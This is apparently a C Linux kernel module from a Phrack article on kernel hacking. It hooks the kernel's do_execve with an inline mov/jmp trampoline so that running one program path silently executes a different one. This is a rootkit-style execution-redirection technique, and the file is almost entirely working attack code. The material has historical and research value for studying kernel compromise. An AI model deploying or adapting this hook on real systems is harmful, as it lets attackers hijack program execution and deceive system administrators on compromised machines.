/*
 * LICENSE:
 * this file may be copied or duplicated in any form, in
 * whole or in part, modified or not, as long as this
 * copyright notice is prepended UNMODIFIED.
 *
 * This code is proof of concept. The author can and must
 * not be made responsible for any, including but not limited
 * to, incidental or consequential damage, data loss or
 * service outage. The code is provided "AS IS" and WITHOUT
 * ANY WARRENTY. USE IT AT YOU OWN RISK.
 *
 * this is part of the Phrack (www.phrack.org) article:
 * Advances in Kernel Hacking II by palmers / teso
 */

#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/string.h>
#include <linux/slab.h>
#include <linux/mm.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <asm/uaccess.h>

#include "strdup.c"

#define CODESIZE 7
static char     o_handler[7];
static char     n_handler[] = "\xb8\x00\x00\x00\x00\xff\xe0";
/*
 * <n_handler>:
 *    0:   b8 00 00 00 00          mov    $0x0,%eax
 *    5:   ff e0                   jmp    *%eax
 */

void            cleanup_module();


int
n_do_execve(char *file, char **arvp, char **envp, struct pt_regs *regs)
{
    int             ret;

    /*
     * still its simple ;)
     */
    if (!strcmp(file, O_REDIR_PATH))
	file = _strdup(N_REDIR_PATH);

    memcpy(do_execve, o_handler, CODESIZE);
    ret = do_execve(file, arvp, envp, regs);
    memcpy(do_execve, n_handler, CODESIZE);

    return ret;
}


int
init_module()
{
    *(long *) &n_handler[1] = (long) n_do_execve;
    memcpy(o_handler, do_execve, CODESIZE);
    memcpy(do_execve, n_handler, CODESIZE);
    return 0;
}


void
cleanup_module()
{
    memcpy(do_execve, o_handler, CODESIZE);
}
